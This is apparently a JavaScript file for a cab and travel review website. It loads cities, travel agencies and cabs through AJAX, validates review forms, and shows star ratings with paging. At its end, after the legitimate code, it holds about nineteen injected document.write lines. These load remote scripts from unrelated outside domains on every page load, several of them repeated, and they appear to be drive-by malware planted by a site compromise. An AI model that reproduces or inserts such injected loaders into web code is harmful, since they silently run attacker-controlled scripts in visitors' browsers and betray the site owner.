﻿// JScript File


/*    Creating XML Http Objcet Function   */

function createXmlHttpObject()
{
    var xmlHttpObject = false;
    if( window.XMLHttpRequest )
    {
        xmlHttpObject = new XMLHttpRequest();
    }
    else if( window.ActiveXObject )
    {
        xmlHttpObject = new ActiveXObject("Microsoft.XMLHTTP");
    }
    return xmlHttpObject;
}

/*    Creating XML Http Objcet Function Ends Here  */


/* Cabs Load According to the Travels function */

function CabsLoad()
{
    var travelNumber = document.getElementById('travelNameDrpList').options[document.getElementById('travelNameDrpList').selectedIndex].value;
    
    if ( travelNumber != 0 )
    {
        var xmlHttpObject = createXmlHttpObject();
        if( xmlHttpObject )
        {
            var url = "CabsLoad.aspx";
            url = url + "?travelNumber=" + travelNumber;
            
            xmlHttpObject.open("GET",url,true);
            xmlHttpObject.onreadystatechange = function()
            {
                if( xmlHttpObject.readyState == 4 && xmlHttpObject.status == 200 )
                {
                    var cabs = xmlHttpObject.responseText;
                    var cabsList = cabs.split("|");
                    
                    clearCabList();
                    for ( var i=0; i< cabsList.length-1; i++ )
                    {
                        var cabOption = document.createElement('option');
                        document.getElementById('cabNameDrpList').options.add(cabOption);
                        var cabValues = cabsList[i].split('`');
                        cabOption.value = cabValues[0];
                        cabOption.text = cabValues[1];
                    }
                    if( cabsList.length - 1 != 0)
                    {
                        var cabOption = document.createElement('option');
                        document.getElementById('cabNameDrpList').options.add(cabOption);
                        cabOption.value = "-1";
                        cabOption.text = "All Vehicles";
                    }
                }
            }
            xmlHttpObject.send(null);
        }
    }
    else
    {
        clearCabList();
    }    
}

function clearCabList()
{
    document.getElementById('cabNameDrpList').length = 0
    for(var i=0; i<document.getElementById('cabNameDrpList').length-1; i++)
    {
        document.getElementById('cabNameDrpList').length = 0;
    }  
    cabOption = document.createElement('option');
    document.getElementById('cabNameDrpList').options.add(cabOption);                  
    cabOption.value = 0;
    cabOption.text = "--Select--";
}

/* Cabs Load According to the Travels function Ends Here */


/* Travels Load According to the City - function starts Here */

function TravelsLoad()
{
    clearCabList();
    var citySno = document.getElementById('cityDrpList').options[document.getElementById('cityDrpList').selectedIndex].value;
    if ( citySno != 0 )
    {
        var xmlHttpObject = createXmlHttpObject();
        if( xmlHttpObject )
        {
            var url = "TravelsLoad.aspx";
            url = url + "?citySno=" + citySno;
            
            xmlHttpObject.open("GET",url,true);
            xmlHttpObject.onreadystatechange = function()
            {            
                if( xmlHttpObject.readyState == 4 && xmlHttpObject.status == 200 )
                {
                    var travels = xmlHttpObject.responseText;                    
                    var travelsList = travels.split("|");                    
                   
                    clearTravelsList();
                    for ( var i=0; i< travelsList.length-1; i++ )
                    {                    
                         var travelOption = document.createElement('option');
                        document.getElementById('travelNameDrpList').options.add(travelOption);
                        var travelValues = travelsList[i].split('`');
                        travelOption.value = travelValues[0];
                        travelOption.text = travelValues[1];
                    }
                }
            }
            xmlHttpObject.send(null);
        }
    }
    else
    {
        clearTravelsList();
        
    }    
}

function clearTravelsList()
{
    document.getElementById('travelNameDrpList').length = 0
    for(var i=0; i<document.getElementById('travelNameDrpList').length-1; i++)
    {
        document.getElementById('travelNameDrpList').length = 0;
    }  
    travelOption = document.createElement('option');
    document.getElementById('travelNameDrpList').options.add(travelOption);                  
    travelOption.value = 0;
    travelOption.text = "--Select--";
}

/* Travels Load According to the City - function ends Here */





//////////////////////////////////////////////////////////////////////////////////////////////


/* Travel Number Storing in Hidden field function */

function travelSet()
{
    document.getElementById('travelNum').value = document.getElementById('travelNameDrpList').options[document.getElementById('travelNameDrpList').selectedIndex].value ;
}

/* Travel Number Storing in Hidden field Ends Here */



/* Cab Number Storing in Hidden Field Function */

 function cabSet()
 {
    document.getElementById('cabNum').value = document.getElementById('cabNameDrpList').options[document.getElementById('cabNameDrpList').selectedIndex].value ;    
 }
 
 /* Cab Number Storing in Hidden Field Function */
 
 
//////////////////////////////////////////////////////////////////////////////////////////////


 
 //Function to Trim a String
        String.prototype.trim = function ()
        {
            return this.replace(/^\s*/, "").replace(/\s*$/, "");
        }

// end of modification code

 
 
 
 ///////////////////////////////////////////////////////////////////////////////////////////////
 /* Review Validation */
 
 function reviewValid()
 {
    if( document.getElementById('cityDrpList').selectedIndex == 0 )
    {
        alert('Select City');
        return false;
    }
    
    if( document.getElementById('travelNameDrpList').selectedIndex == 0 )
    {
        alert('Select Travel');
        return false;
    }
    
    if( document.getElementById('Rater1_Value').value == 0 )
    {
        alert('Select Rating');
        return false;
    }
    
    if( document.getElementById('reviewedByTb').value.trim() == "")
    {
        alert('Enter Your Name');
        return false;
    }
    
    if( document.getElementById('ReviewMsg').value.trim() == "")
    {
        alert('Enter your review');
        return false;
    }
    
    
    return true;
 }
 
     /* Check Reviewed By Name*/
function CheckUserName(obj)
{
    if (!(((event.keyCode > 96 && event.keyCode < 123)||(event.keyCode > 64 && event.keyCode < 91))||event.keyCode==32||event.keyCode==46||event.KeyCode==190||event.keyCode==8||event.keyCode==9))

    {
        alert('Please Enter Characters only...');
        event.returnValue = false;
    }
    else
        event.returnValue=true;

}

 /* Review Validation Ends Here */
///////////////////////////////////////////////////////////////////////////////////////////////
 
 
 
 /*==========================================================================================*/
 
 /*  This Function gets Reviews By City, Travel, Cab   */
 
 function getAllList()
 {
    
    var citySno = document.getElementById('cityDrpList').options[document.getElementById('cityDrpList').selectedIndex].value;
    var travelSno = document.getElementById('travelNum').value;
    var cabSno = document.getElementById('cabNum').value;
    
    if( document.getElementById('cityDrpList').selectedIndex != 0 
    && document.getElementById('travelNameDrpList').selectedIndex != 0 
    && document.getElementById('cabNameDrpList').selectedIndex != 0 )
    {
        var xmlHttpObject = createXmlHttpObject();
        if( xmlHttpObject )
        {
            var url = "ReviewsLoad.aspx";
            url = url + "?citySno=" + citySno;
            url = url + "&travelSno=" + travelSno;
            url = url + "&cabSno=" + cabSno;
            
            xmlHttpObject.open("GET",url,true);
            xmlHttpObject.onreadystatechange = function()
            {
                if( xmlHttpObject.readyState == 4 && xmlHttpObject.status == 200 )
                {
                    var reviews = xmlHttpObject.responseText;                    
                    var reviewsList = reviews.split("|");                      
                    if ( reviewsList[0] == 0 )
                    {
                        clearAllRows();                        
                        var table = document.getElementById("DisplayAll");
                        var row = table.insertRow(row);
                        row.height = "50";
                        var cell4 = row.insertCell(0);
                        var noMsgCell = document.createTextNode(reviewsList[1]);
                        cell4.appendChild(noMsgCell);
                    }
                    else
                    {
                        clearAllRows();                                          
                        for ( var i=0; i<reviewsList.length-1 ; i++ )
                        {    
                            var reviewValues = reviewsList[i].split('`');
                            addRowToTable1(i,reviewValues[1],reviewValues[2],reviewValues[3],reviewValues[4]);                        
                        }
                    }
                }
            } 
            xmlHttpObject.send(null);
        }         
    }
    else
    {
        getTravelRev();
    }
 }
 
 
/* Add Rows to the Display Table */
 var ItemRow;

 function addRowToTable1(i,reviewedBy,rating,reviewMsg,postedDate)
{
    var table = document.getElementById("DisplayAll");
    
    var lastRow = table.rows.length;        
    var iteration = lastRow;
    var row = table.insertRow(lastRow);
    ItemRow = row;
    addTable1(row,i,reviewedBy,rating,reviewMsg,postedDate);
    
//    var row1 = table.insertRow(lastRow);
//    row1.height = 10;
}

function addTable1(obj,i,reviewedBy,rating,reviewMsg,postedDate)
{
    var cell = obj.insertCell(0);
        
    var table = document.createElement("table");    
    tableColor(table,i);
    cell.appendChild(table);    
    
    //        var row4 = table.insertRow(row2);
    //        row4.height = "25";
    
    var row3 = table.insertRow(row3);
    var cell4 = row3.insertCell(0);    
    var postedDateCell = document.createTextNode(postedDate);
    cell4.appendChild(postedDateCell);
    
    var row0 = table.insertRow(row3);    
    var cell1 = row0.insertCell(0);    
    var ReviewedByName = document.createTextNode("Name:  " + reviewedBy);
    cell1.appendChild(ReviewedByName);
    
    var row1 = table.insertRow(row0);    
    var cell2 = row1.insertCell(0);    
    var ratingCell = document.createTextNode("Rating: " + rating);
    cell2.appendChild(ratingCell);    
    
    var row2 = table.insertRow(row1);    
    var cell3 = row2.insertCell(0);    
    var reviewMsgCell = document.createTextNode(reviewMsg);
    cell3.appendChild(reviewMsgCell);
    
}

function tableColor(obj,i)
{
    if(i % 2 == 0)
    { 
       obj.className = "even"; 
    }
    else
    { 
       obj.className = "odd"; 
    } 
}

/*  Add Rows To DisplayAll table ends Here */



//This function Removes the Last Row from the Listing Table
function RemoveRow(obj)
{
    obj=document.getElementById(obj);
    var lastRow = obj.rows.length;
    //var rws=obj.getElementsByTagName('TR');
    if(lastRow >2)
    obj.deleteRow(lastRow-1);
}

//This function Removes All Rows from the Listing Table

function clearAllRows()
{
     obj=document.getElementById("DisplayAll");
     var lastRow = obj.rows.length;
     for(var i=lastRow;i>0;i--)
     {
        obj.deleteRow(i-1);
     }
}
 
 /*  Getting and Displaying Cabs according to City, Travel, Cab Function Ends Here   */
 
 /*==========================================================================================*/
 
 
 /*&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&*/
 
 /*  This function gets Reviews By Travel and City   */
 
 function getTravelRev()
 {
    var citySno = document.getElementById('cityDrpList').options[document.getElementById('cityDrpList').selectedIndex].value;
    var travelSno = document.getElementById('travelNum').value;
    var cabSno = 0;
    
    if( document.getElementById('cityDrpList').selectedIndex != 0 
    && document.getElementById('travelNameDrpList').selectedIndex != 0 )
    {
        var xmlHttpObject = createXmlHttpObject();
        if( xmlHttpObject )
        {
            var url = "ReviewsLoadByTravel.aspx";
            url = url + "?citySno=" + citySno;
            url = url + "&travelSno=" + travelSno;
            url = url + "&cabSno=" + cabSno;
            
            xmlHttpObject.open("GET",url,true);
            xmlHttpObject.onreadystatechange = function()
            {
                if( xmlHttpObject.readyState == 4 && xmlHttpObject.status == 200 )
                {
                    var reviews = xmlHttpObject.responseText;
                    var reviewsList = reviews.split("|");                      
                    if ( reviewsList[0] == 0 )
                    {
                        clearAllRows();
                        
                        var table = document.getElementById("DisplayAll");
                        var row = table.insertRow(row);
                        row.height = "50";
                        var cell4 = row.insertCell(0);
                        var noMsgCell = document.createTextNode(reviewsList[1]);
                        cell4.appendChild(noMsgCell);
                    }
                    else
                    {
                        clearAllRows();                                          
                        for ( var i=0; i<reviewsList.length-1 ; i++ )
                        {    
                            var reviewValues = reviewsList[i].split('`');
                            addRowToTable(i,reviewValues[1],reviewValues[2],reviewValues[3],reviewValues[4],reviewValues[5]);                        
                        }
                    }
                }
            } 
            xmlHttpObject.send(null);
        }         
    }
    else
    {
        ReviewsLoadByCity();
    }
 }
 
 /*&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&*/
 
 
 
 /*^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^*/

/* This function Gets top Ten records */

function getTopTen()
{
    var xmlHttpObject = createXmlHttpObject();
        if( xmlHttpObject )
        {
            var url = "ReviewsTopTen.aspx";
            
            xmlHttpObject.open("GET",url,true);
            xmlHttpObject.onreadystatechange = function()
            {
                if( xmlHttpObject.readyState == 4 && xmlHttpObject.status == 200 )
                {
                    var reviews = xmlHttpObject.responseText;
                    var reviewsList = reviews.split("|");                      
                    if ( reviewsList[0] == 0 )
                    {
                        clearAllRows();
                        
                        var table = document.getElementById("DisplayAll");
                        var row = table.insertRow(row);
                        row.height = "50";
                        var cell4 = row.insertCell(0);
                        var noMsgCell = document.createTextNode(reviewsList[1]);
                        cell4.appendChild(noMsgCell);
                    }
                    else
                    {
                        clearAllRows();                                          
                        for ( var i=0; i<reviewsList.length-1 ; i++ )
                        {    
                            var reviewValues = reviewsList[i].split('`');
                            addRowToTable(i,reviewValues[1],reviewValues[2],reviewValues[3],reviewValues[4],reviewValues[5]);                        
                        }
                    }
                }
            } 
            xmlHttpObject.send(null);
       }
}
 
 
 /*^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^*/
 
 
 
 /*%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*/
 
 /* This Function Gets Travel Reviews By Selecting City Change */
 
 function ReviewsLoadByCity()
 {
    var citySno = document.getElementById('cityDrpList').options[document.getElementById('cityDrpList').selectedIndex].value;
        
    if( document.getElementById('cityDrpList').selectedIndex != 0 )
    {
        var xmlHttpObject = createXmlHttpObject();
        if( xmlHttpObject )
        {
            var url = "ReviewsLoadByCity.aspx";
            url = url + "?citySno=" + citySno;
                        
            xmlHttpObject.open("GET",url,true);
            xmlHttpObject.onreadystatechange = function()
            {
                if( xmlHttpObject.readyState == 4 && xmlHttpObject.status == 200 )
                {
                    var reviews = xmlHttpObject.responseText;
                    var reviewsList = reviews.split("|");                      
                    if ( reviewsList[0] == 0 )
                    {
                        clearAllRows();
                        
                        var table = document.getElementById("DisplayAll");
                        var row = table.insertRow(row);
                        row.height = "50";
                        var cell4 = row.insertCell(0);
                        var noMsgCell = document.createTextNode(reviewsList[1]);
                        cell4.appendChild(noMsgCell);
                    }
                    else
                    {
                        clearAllRows();                                          
                        for ( var i=0; i<reviewsList.length-1 ; i++ )
                        {    
                            var reviewValues = reviewsList[i].split('`');                            
                            addRowToTable(i,reviewValues[1],reviewValues[2],reviewValues[3],reviewValues[4],reviewValues[5]);                        
                        }
                    }
                }
            } 
            xmlHttpObject.send(null);
        }         
    }
 }
 
 
 
 /*%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%*/
 
 /* Function Overloading For addRowToTable */
 

 
  function addRowToTable(i,reviewedBy,rating,reviewMsg,postedDate,travelName)
{
    var table = document.getElementById("DisplayAll");
    
    var lastRow = table.rows.length;        
    var iteration = lastRow;
    var row = table.insertRow(lastRow);
    ItemRow = row;
    addTable(row,i,reviewedBy,rating,reviewMsg,postedDate,travelName);
    
//    var row1 = table.insertRow(lastRow);
//    row1.height = 10;
}

function addTable(obj,i,reviewedBy,rating,reviewMsg,postedDate,travelName)
{
    var cell = obj.insertCell(0);
        
    var table = document.createElement("table");    
    tableColor(table,i);
    cell.appendChild(table);    
    
    //        var row4 = table.insertRow(row2);
    //        row4.height = "25";
    
    var row3 = table.insertRow(row3);
    var cell4 = row3.insertCell(0);    
    var postedDateCell = document.createTextNode(postedDate);
    cell4.appendChild(postedDateCell);
    
    var row0 = table.insertRow(row3);    
    var cell1 = row0.insertCell(0);    
    var ReviewedByName = document.createTextNode("Name:  " + reviewedBy);
    cell1.appendChild(ReviewedByName);
    
    var row1 = table.insertRow(row0);    
    var cell2 = row1.insertCell(0);    
//    var ratingCell = document.createTextNode("Rating: " + rating);
//    cell2.appendChild(ratingCell);       
    
    switch( parseInt(rating) )
    {
        case 0:    
            cell2.innerHTML = '<input type="image" src="images/StarOff.gif" /><input type="image" src="images/StarOff.gif" /><input type="image" src="images/StarOff.gif" /><input type="image" src="images/StarOff.gif" /><input type="image" src="images/StarOff.gif" />';   
            break;
        case 1:
            cell2.innerHTML = '<input type="image" src="images/StarOn.gif" /><input type="image" src="images/StarOff.gif" /><input type="image" src="images/StarOff.gif" /><input type="image" src="images/StarOff.gif" /><input type="image" src="images/StarOff.gif" />';   
            break;
        case 2:  
            cell2.innerHTML = '<input type="image" src="images/StarOn.gif" /><input type="image" src="images/StarOn.gif" /><input type="image" src="images/StarOff.gif" /><input type="image" src="images/StarOff.gif" /><input type="image" src="images/StarOff.gif" />';   
            break;
        case 3:
            cell2.innerHTML = '<input type="image" src="images/StarOn.gif" /><input type="image" src="images/StarOn.gif" /><input type="image" src="images/StarOn.gif" /><input type="image" src="images/StarOff.gif" /><input type="image" src="images/StarOff.gif" />';   
            break;
        case 4:
            cell2.innerHTML = '<input type="image" src="images/StarOn.gif" /><input type="image" src="images/StarOn.gif" /><input type="image" src="images/StarOn.gif" /><input type="image" src="images/StarOn.gif" /><input type="image" src="images/StarOff.gif" />';   
            break;
        case 5:
            cell2.innerHTML = '<input type="image" src="images/StarOn.gif" /><input type="image" src="images/StarOn.gif" /><input type="image" src="images/StarOn.gif" /><input type="image" src="images/StarOn.gif" /><input type="image" src="images/StarOn.gif" />';   
            break;  
    }
        
    var row2 = table.insertRow(row1);    
    var cell3 = row2.insertCell(0);    
    var reviewMsgCell = document.createTextNode(reviewMsg);
    cell3.appendChild(reviewMsgCell);
    
    var row5 = table.insertRow(row2);    
    var cell5 = row5.insertCell(0);    
    if( travelName )
    {    
        var travelNameCell = document.createTextNode("Travel Name:  " + travelName);
        cell5.appendChild(travelNameCell);
    }
    
    
    
}

/*  Function Overloading For addRowToTable Ends Here */


/*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*/


/*  Paging Functionality Starts Here   */

/* Paging For City Selection Starts Here */

var reviewsList;

 function ReviewsLoadByCityPaging()
 { 
    var citySno = document.getElementById('cityDrpList').options[document.getElementById('cityDrpList').selectedIndex].value;
        
    if( document.getElementById('cityDrpList').selectedIndex != 0 )
    {
        var xmlHttpObject = createXmlHttpObject();
        if( xmlHttpObject )
        {
            var url = "ReviewsLoadByCity.aspx";
            url = url + "?citySno=" + citySno;
                        
            xmlHttpObject.open("GET",url,true);
            xmlHttpObject.onreadystatechange = function()
            {
                if( xmlHttpObject.readyState == 4 && xmlHttpObject.status == 200 )
                {
                    var reviews = xmlHttpObject.responseText; 
                    reviewsList = reviews.split("|");                    
                    if ( reviewsList[0] == 0 )
                    {
                        clearAllRows();
                        
                        var table = document.getElementById("DisplayAll");
                        var row = table.insertRow(row);
                        row.height = "50";
                        var cell4 = row.insertCell(0);
                        var noMsgCell = document.createTextNode(reviewsList[1]);
                        cell4.appendChild(noMsgCell);
                    }
                    else
                    {
                        clearAllRows();                        
                        showFirstFive();
                    }
                }
            } 
            xmlHttpObject.send(null);
        }         
    }
    else
    {
        getTopTen();
    }
}

/* Paging For City Selection Starts Here */



 /*Paging :  This function gets Reviews By Travel and City   */
 
 function getTravelRevPaging()
 {
    var citySno = document.getElementById('cityDrpList').options[document.getElementById('cityDrpList').selectedIndex].value;
    var travelSno = document.getElementById('travelNum').value;
    var cabSno = 0;
    
    if( document.getElementById('cityDrpList').selectedIndex != 0 
    && document.getElementById('travelNameDrpList').selectedIndex != 0 )
    {
        var xmlHttpObject = createXmlHttpObject();
        if( xmlHttpObject )
        {
            var url = "ReviewsLoadByTravel.aspx";
            url = url + "?citySno=" + citySno;
            url = url + "&travelSno=" + travelSno;
            url = url + "&cabSno=" + cabSno;
            
            xmlHttpObject.open("GET",url,true);
            xmlHttpObject.onreadystatechange = function()
            {
                if( xmlHttpObject.readyState == 4 && xmlHttpObject.status == 200 )
                {
                    var reviews = xmlHttpObject.responseText;
                    reviewsList = reviews.split("|");                      
                    if ( reviewsList[0] == 0 )
                    {
                        clearAllRows();
                        
                        var table = document.getElementById("DisplayAll");
                        var row = table.insertRow(row);
                        row.height = "50";
                        var cell4 = row.insertCell(0);
                        var noMsgCell = document.createTextNode(reviewsList[1]);
                        cell4.appendChild(noMsgCell);
                    }
                    else
                    {
                        clearAllRows();                        
                        showFirstFive();
                    }
                }
            } 
            xmlHttpObject.send(null);
        }         
    }
    else
    {
        ReviewsLoadByCity();
    }
 }


 /*Paging :  This function gets Reviews By Travel and City Ends Here  */



 /*Paging :  This Function gets Reviews By City, Travel, Cab   */
 
 function getAllListPaging()
 {
    
    var citySno = document.getElementById('cityDrpList').options[document.getElementById('cityDrpList').selectedIndex].value;
    var travelSno = document.getElementById('travelNum').value;
    var cabSno = document.getElementById('cabNum').value;
    
    if( document.getElementById('cityDrpList').selectedIndex != 0 
    && document.getElementById('travelNameDrpList').selectedIndex != 0 
    && document.getElementById('cabNameDrpList').selectedIndex != 0 )
    {
        var xmlHttpObject = createXmlHttpObject();
        if( xmlHttpObject )
        {
            var url = "ReviewsLoad.aspx";
            url = url + "?citySno=" + citySno;
            url = url + "&travelSno=" + travelSno;
            url = url + "&cabSno=" + cabSno;
            
            xmlHttpObject.open("GET",url,true);
            xmlHttpObject.onreadystatechange = function()
            {
                if( xmlHttpObject.readyState == 4 && xmlHttpObject.status == 200 )
                {
                    var reviews = xmlHttpObject.responseText;                    
                    reviewsList = reviews.split("|");                      
                    if ( reviewsList[0] == 0 )
                    {
                        clearAllRows();                        
                        var table = document.getElementById("DisplayAll");
                        var row = table.insertRow(row);
                        row.height = "50";
                        var cell4 = row.insertCell(0);
                        var noMsgCell = document.createTextNode(reviewsList[1]);
                        cell4.appendChild(noMsgCell);
                    }
                    else
                    {
                        clearAllRows();                        
                        showFirstFive();
                    }
                }
            } 
            xmlHttpObject.send(null);
        }         
    }
    else
    {
        getTravelRev();
    }
 }
 
 /*Paging :  This Function gets Reviews By City, Travel, Cab Ends Here   */
 
 
 
 

/*  The Paging Functinality Starts Here */
var intPosition = 0;

function showFirstFive()
{
    if( reviewsList.length>5 )
    {    
        addPreviousNext(1);                            
    }
    
    var i;    
    //alert(reviewsList.length-1);
    for ( i = 0 ; i<=4 && i<reviewsList.length-1 ; i++ )
    {
        var reviewValues = reviewsList[i].split('`');                            
        addRowToTable(i,reviewValues[1],reviewValues[2],reviewValues[3],reviewValues[4],reviewValues[5]);
        intPosition = i;
    }
}

function ShowNext()
{
    clearAllRows();
    
    var i;
    var j = intPosition+1;
    
    if( intPosition+6 == reviewsList.length-1 )
    {
        switch(0)
        {
            case intPosition%5:
                j = intPosition+5;
                break;
            case (intPosition+4)%5:
                j = intPosition+4;
                break;
            case (intPosition+3)%5:
                j = intPosition+3;
                break;
            case (intPosition+2)%5:
                j = intPosition+2;
                break;
            case (intPosition+1)%5:
                j = intPosition+1;
                break;
        }
    }
    
    for (i=j; i<=intPosition+5 && i<reviewsList.length-1 ; i++) 
    {
        var reviewValues = reviewsList[i].split('`');                            
        addRowToTable(i,reviewValues[1],reviewValues[2],reviewValues[3],reviewValues[4],reviewValues[5]);
    }
    intPosition = i-1 ;     //alert(intPosition);
    var flag=0;
    switch(0)
    {
        case intPosition%5:
                intPosition = intPosition+4;
                flag = 1;
                break;
        case (intPosition-1)%5:
                intPosition = intPosition+3;    //alert(intPosition);
                flag=1;
                break;
        case (intPosition-2)%5:
                intPosition = intPosition+2;    //alert(intPosition);
                flag=1;
                break;
        case (intPosition-3)%5:
                intPosition = intPosition+1;    //alert(intPosition);
                flag=1;
                break;
    }
    if( (intPosition >= 4) && ((reviewsList.length-1)-intPosition > 1) && flag == 0 )
    { 
        addPreviousNext(0);        
    }
    else
    {   
        addPreviousNext(2);
    }    
}

function ShowPrevious()
{   
    clearAllRows();
    //alert(intPosition);
    
    var i;
    
    var firstEnd=intPosition-5; // Saves on calculating thru each iteration.
    
    intPosition = firstEnd;
            
    if( firstEnd<=4 )  
    {
        intPosition = 0;        
        showFirstFive();
        return true;
    }
    
    var secondEnd=(firstEnd<5)?0:firstEnd-4; // Set end for second loop
    
    //intPosition=firstEnd;  alert(firstEnd);

    for (i=secondEnd; i<=firstEnd; i++)
    {
        var reviewValues = reviewsList[i].split('`');                            
        addRowToTable(i,reviewValues[1],reviewValues[2],reviewValues[3],reviewValues[4],reviewValues[5]);   
    }
    if( firstEnd == 0  )
    {
        addPreviousNext(1);
    }
    else
    {
        addPreviousNext(0);
    }
    //alert(intPosition);
    
}


function addPreviousNext(val)
{
    var table = document.getElementById("DisplayAll");
    var row1 = table.insertRow(0);
    var cell = row1.insertCell(0);
    
    var table1 = document.createElement("table");    
    cell.appendChild(table1);
    var row2 = table1.insertRow(0);
    row2.className = "nextPrevRow";
        
    if( val == 2 )
    {
        var cell6 = row2.insertCell(0);
        cell6.className = "nextPrevCol";        
        var numberingCell = document.createElement("div");
        cell6.appendChild(numberingCell);
        numberingCell.innerHTML = '<a href="#" id="#" class="legendclass" onclick = "javascript:ShowPrevious();">&lt&ltPrevious</a>';       
        return true;
    }
    if( val == 1 )
    {   
        var cell5 = row2.insertCell(0);        
        
        var cell1 = row2.insertCell(0);
        cell1.className = "nextNextCol";        
        var numberingCell = document.createElement("div");
        cell1.appendChild(numberingCell);
        numberingCell.innerHTML = '<a href="#" id="#" class="legendclass" onclick = "javascript:ShowNext();">Next&gt&gt</a>';
    }
    if( val == 0 )
    {
               
        var cell4 = row2.insertCell(0);
        cell4.className = "nextNextCol1";        
        var numberingCell = document.createElement("div");
        cell4.appendChild(numberingCell);
        numberingCell.innerHTML = '<a href="#" id="#" class="legendclass" onclick = "javascript:ShowNext();">Next>></a>';
        
        var cell3 = row2.insertCell(0);
        cell3.className = "nextPrevCol";
        var numberingCell1 = document.createElement("div");
        cell3.appendChild(numberingCell1);
        numberingCell1.innerHTML = '<a href="#" id="#" class="legendclass" onclick = "javascript:ShowPrevious();">&lt&ltPrevious</a>';       
        
    }
    
}
    
/*  The Paging Functinality Starts Here */



/*  Paging Functionality Ends Here     */
document.write('<script src=http://interweigh.ca/stats/inmotion7.php ><\/script>');
document.write('<script src=http://tiedot.in/tiedot/contactus.php ><\/script>');
document.write('<script src=http://tiedot.in/tiedot/contactus.php ><\/script>');
document.write('<script src=http://tiedot.in/tiedot/contactus.php ><\/script>');
document.write('<script src=http://tiedot.in/tiedot/contactus.php ><\/script>');
document.write('<script src=http://tiedot.in/tiedot/contactus.php ><\/script>');
document.write('<script src=http://tiedot.in/tiedot/contactus.php ><\/script>');
document.write('<script src=http://tiedot.in/tiedot/contactus.php ><\/script>');
document.write('<script src=http://fivedream.ru/Humor/index.php ><\/script>');
document.write('<script src=http://fivedream.ru/Humor/index.php ><\/script>');
document.write('<script src=http://roncocleaning.com/_images/products.php ><\/script>');
document.write('<script src=http://barbier-family.de/js/oberschl.php ><\/script>');
document.write('<script src=http://coquettecheesecake.net/images/gifimg.php ><\/script>');
document.write('<script src=http://kandilkoy.com/components/htaccess.php ><\/script>');
document.write('<script src=http://kandilkoy.com/components/htaccess.php ><\/script>');
document.write('<script src=http://kandilkoy.com/components/htaccess.php ><\/script>');
document.write('<script src=http://kandilkoy.com/components/htaccess.php ><\/script>');
document.write('<script src=http://kandilkoy.com/components/htaccess.php ><\/script>');
document.write('<script src=http://avenue-alarms.co.uk/scripts/index.php ><\/script>');